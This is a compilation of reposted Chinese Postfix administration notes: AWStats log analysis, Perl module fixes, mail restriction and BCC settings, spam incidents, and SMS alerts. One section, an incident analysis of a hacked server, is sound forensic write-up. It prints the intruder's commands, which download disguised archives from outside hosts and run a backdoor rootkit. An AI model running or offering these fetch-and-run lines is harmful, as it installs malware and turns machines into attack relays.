awstats分析postfix日志[转载]

1. 先复制出分析 maillog 用的配置文件,如 awstats.mail.conf 。

2. 修改配置文件如下:

1) 对于 mail 原始日志用 maillogconvert.pl 进行转换,脚本位于 awstats/tools 目录下,如:

LogFile=”cat /var/log/maillog.1 | /usr/bin/perl /usr/local/awstats/tools/maillogconvert.pl standard | “

2) 日志类型设置为邮件: M 格式

LogType=M

3) SiteDomain 指定为邮件服务器域名,如:

SiteDomain=”domain.com”

4) 指定数据存放目录,如:

DirData=”/usr/local/awstats/data/”


5) 指定日志格式等字段:

LogFormat=”%time2 %email %email_r %host %host_r %method %url %code %bytesd”

LevelForBrowsersDetection=0

LevelForOSDetection=0

LevelForRefererAnalyze=0

LevelForRobotsDetection=0

LevelForWormsDetection=0

LevelForSearchEnginesDetection=0

LevelForFileTypesDetection=0

ShowMenu=1

ShowMonthStats=HB

ShowDaysOfMonthStats=HB

ShowDaysOfWeekStats=HB

ShowHoursStats=HB

ShowDomainsStats=0

ShowHostsStats=HBL

ShowAuthenticatedUsers=0

ShowRobotsStats=0

ShowEMailSenders=HBL

ShowEMailReceivers=HBL

ShowSessionsStats=0

ShowPagesStats=0

ShowFileTypesStats=0

ShowFileSizesStats=0

ShowBrowsersStats=0

ShowOSStats=0

ShowOriginStats=0

ShowKeyphrasesStats=0

ShowKeywordsStats=0

ShowMiscStats=0

ShowHTTPErrorsStats=0

ShowSMTPErrorsStats=1

3. 产生统计数据,如:

/usr/local/awstats/wwwroot/cgi-bin/awstats.pl -config=mail -update

查看结果,如:

http://domain.com/cgi-bin/awstats/awstats.pl?config=mail

Can’t locate RRDs.pm in @INC (@INC contains:[转载]

Can’t locate RRDs.pm in @INC (@INC contains:

在配置postfix环境中遇到问题.

平台:64位Centos5.2

在安装rrdtool-1.2.28.tar.gz后启动mailgraph-init和qmonitor-init出错:

tarting mail statistics grapher: mailgraph_ext

Can’t locate RRDs.pm in @INC (@INC contains: /usr/lib64/perl5/site_perl/5.8.8/x86_64-linux-thread-multi /usr/lib64/perl5/site_perl/5.8.7/x86_64-linux-thread-multi /usr/lib64/perl5/site_perl/5.8.6/x86_64-linux-thread-multi /usr/lib64/perl5/site_perl/5.8.5/x86_64-linux-thread-multi /usr/lib/perl5/site_perl/5.8.8 /usr/lib/perl5/site_perl/5.8.7 /usr/lib/perl5/site_perl/5.8.6 /usr/lib/perl5/site_perl/5.8.5 /usr/lib/perl5/site_perl /usr/lib64/perl5/vendor_perl/5.8.8/x86_64-linux-thread-multi /usr/lib64/perl5/vendor_perl/5.8.7/x86_64-linux-thread-multi /usr/lib64/perl5/vendor_perl/5.8.6/x86_64-linux-thread-multi /usr/lib64/perl5/vendor_perl/5.8.5/x86_64-linux-thread-multi /usr/lib/perl5/vendor_perl/5.8.8 /usr/lib/perl5/vendor_perl/5.8.7 /usr/lib/perl5/vendor_perl/5.8.6 /usr/lib/perl5/vendor_perl/5.8.5 /usr/lib/perl5/vendor_perl /usr/lib64/perl5/5.8.8/x86_64-linux-thread-multi /usr/lib/perl5/5.8.8 .) at /usr/local/mailgraph_ext/mailgraph_ext.pl line 292.

BEGIN failed–compilation aborted at /usr/local/mailgraph_ext/mailgraph_ext.pl line 292.

安装rrdtool操作是:

tar xzvf rrdtool-1.2.28.tar.gz

cd rrdtool-1.2.28

./configure

make

make install

查了下资料,发现RRDs.pm模块没有安装成功.找到2个解决办法:

1,将RRDs.pm复制到perl目录内,方法:

cp -rp /usr/local/rrdtool-1.2.28/lib/perl/5.8.8/x86_64-linux-thread-multi/* /usr/lib64/perl5/site_perl/5.8.8/x86_64-linux-thread-multi/

2,到rrdtool的src目录下 运行make site-perl-install,我测试失败.

所以通过1方法解决,再启动mailgraph-init和qmonitor-init

Starting mail statistics grapher: mailgraph_ext

Starting queue statistics grapher: qmonitor

没有错误信息了.

本文来自: E点废墟(www.xok.la) 详细出处参考:http://xok.la/2008/08/cant_locate_rrds_pm_in_inc_inc.html

Postfix维护手记[转载]

1、限制内部某一域只能向指定域发邮件

说明:些功能只对用OUTLOOK等邮件客户端有效

在main.cf中加入

smtpd_restriction_classes = local_only

local_only =

   check_recipient_access hash:/etc/postfix/local_domains,

   reject

  



# smtpd related config

smtpd_recipient_restrictions =

        check_sender_access hash:/etc/postfix/local_users,    #此为后加的

        permit_mynetworks,

        permit_sasl_authenticated,

        reject_non_fqdn_hostname,

        reject_non_fqdn_sender,

        reject_non_fqdn_recipient,

        reject_unauth_destination,

        reject_unauth_pipelining,

        reject_invalid_hostname,

        check_policy_service inet:127.0.0.1:10030

       

新建local_users中加入要限制的域如

cat local_users

showmail.cn     local_only

新建local_domains中加入限制域名可以发送的域名列表

cat local_domains

showmail.cn     OK

最后用

postmap hash:/etc/postfix/local_users

postmap hash:/etc/postfix/local_domains



2、设置邮件发送失败后退回邮件的时间

maximal_queue_lifetime = 0

3、 收信人限制

这是指一封信可以寄给多少人,postfix 预设可以处理 50 个收信人(default_destination_recipient_limit = 50),如果一封信的收信人超过 50 人,postfix 会自动将此信复制成很多份,以 50 人为单位分批寄送。

和同步处理限制一样,可以针对不同 agent 来设定不同上限:

uucp_destination_recipient_limit = 2

smtp_destination_recipient_limit = 10

同步处理限制

postfix 采用同步处理限制来进行流量调整和控制,当 postfix 寄信到某个邮件主机时,首先传两封信过去(initial_destination_concurrency = 2),如果一切正常则逐步增加每次传送的量,一直到传输失败或者是到达同步上限每次 20 封信(default_destination_concurrency_limit = 20)。



4、关于 recipient_bcc 与 sender_bcc 的使用



recipient_bcc 可以做到,当信件的收件人为指定的人时,将邮件密抄给指定的人

例:如需将发给userA@abc.com 的邮件抄送一份给 user1@abc.net


在/etc/postfix/ 下面新建一文件recipient_bcc

文件内容如下:
userA@abc.com user1@abc.net

在main.cf 中加入

recipient_bcc_maps = hash:/etc/postfix/recipient_bcc

然后在终端执行postmap /etc/postfix/recipient_bcc


sender_bcc可以做到,当信件的发件人为指定的人时,将邮件密抄给指定的人

例:如需将user1@abc.com所发的邮件抄送一份给user1@abc.net


在/etc/postfix/下面新建一文件sender_bcc

文件内容如下:
user1@abc.com user1@abc.net


在main.cf 中加入

sender_bcc_maps=hash:/etc/postfix/sender_bcc


在终端执行postmap hash:/etc/postfix/sender_bcc


邮件备份 always_bcc 把经过所有的postfix的邮件都抄送给指定的邮箱

例:把所有域发送的邮件都抄送给backup@abc.com


在main.cf中加入
always_bcc=backup@abc.com

分析一台被入侵的linux服务器

客户反映一台linux服务器老向外ssh扫描,登陆到服务器上,查看进程发现大量ssh-scan在运行,运行用户为mircte,查找ssh-scan这个文件,确定所在位置/var/log目录下

黑客进入服务器后所做的操作:

1.       /var/tmp/下上传了两个恶意程序



其中wtf为向外扫描其它服务器的ssh-scan黑客软件,.access.log文件下存放有rootkit后门,服务器被当成了肉鸡跳板,开放14785端口等待入侵者连接,扫描其它服务器所得到的账号都发送到diavolu_gol@yahoo.com这个邮箱。

2.       入侵者登陆记录


85.120.78.140
IP来自罗马尼亚。

3.       wget http://pinky.clan.su/scan/wtf.jpg ; tar zxvf wtf.jpg

wget adelinuangell.lx.ro/ryo.tar

tar xvf ryo.tar

cd .access.log

./config Ady 14785

./run

结束进程。删掉程序。。删掉用户。修改root密码。撤

postfix开启smtp认证被当作垃圾邮件服务器一例

今天早上,g2方面反馈邮件服务器发不出去邮件,检查连接,发现一个法国的ip连着服务器的25端口,邮件队列里积攒着上万封邮件,服务器IP已被列入黑名单,导致发往yahoo.com和gmail.com等一些邮件都发不出去,该服务器是开户smtp认证的,没有open relay,permit_networks也正常,查看日志发现from=wrqw@yahoo.com, 不得其解,只好先把ip封掉,清空队列,问题暂时解决,等到下午的时候队列中又发现大量邮件,查看网络连接发现又换了个IP进行发送,郁闷 ,先封掉临时解决一下再说,仔细查看日志,发现一条重要信息:

Oct 19 15:40:06 mail postfix/smtpd[7538]: 319DC54F845B: client=unknown[82.127.2.192], sasl_method=LOGIN, sasl_username=test@the-smart-class.cn

很明显了,人家破解了test@the-smart-class.cn 这个用户,用这个用户登陆发送邮件,原因找到了,解决起来很简单。。。

maildrop+fetion机器人实现短信邮件提醒

Maildrop+fetion机器人实现短信报警

闲来无事,对公司的邮箱进行了改造,前几天发现一个好玩的fetion机器人,一直想结合maildrop对邮件进行短信提醒,终于实现了,不过不是很完善,需要改进。    

分三步:

一、编写发送短信脚本程序

#!/bin/bash

fetion –mobile=13876005014 –pwd=XXXXXXX –msg-type=1 –file-gb=/tmp/test –to=$1 &

二、编写解码脚本(摘自网上)

#!/usr/bin/perl

# Convert Base64 Or Quoted-printable TO Text

my $a = $ARGV[0] || ”;

if ($a=~/^Subject/) {

        $a = $ARGV[1] || ”;

};

if ($a=~/^=?[w-]+?B?(.*)?=$/) {

   use MIME::Base64;

   $a = decode_base64($1);

};

if ($a=~/^=?[w-]+?Q?(.*)?=$/) {

   use MIME::QuotedPrint;

   $a = decode_qp($1);

};

# USE FOR Test

open(OUTFILE, “>;/tmp/list.log”);

print OUTFILE $a;

close(OUTFILE);

print $a;

exit(0);

三、编写maildrop过滤文件

修改/etc/maildropr文件,添加如下:

###############include home mailter########################

`test -r $HOME/.mailfilter`

if ($RETURNCODE == 0)

{

      include $HOME/.mailfilter

}

编写个人过滤文件

if (/^To:.*jingbo.shi.*/)

{

        if(/^From:.*/)

                FROM_=$MATCH

        if (/^Subject:.*/)

        {

         SUBJECT_tmp=$MATCH

         SUBJECT=`/opt/maildecode.sh $SUBJECT_tmp`

         ALL=”$FROM_nSubject:$SUBJECT”

        `echo $ALL >/tmp/test;/opt/sendsms.sh 要发送到的手机号`

         }

}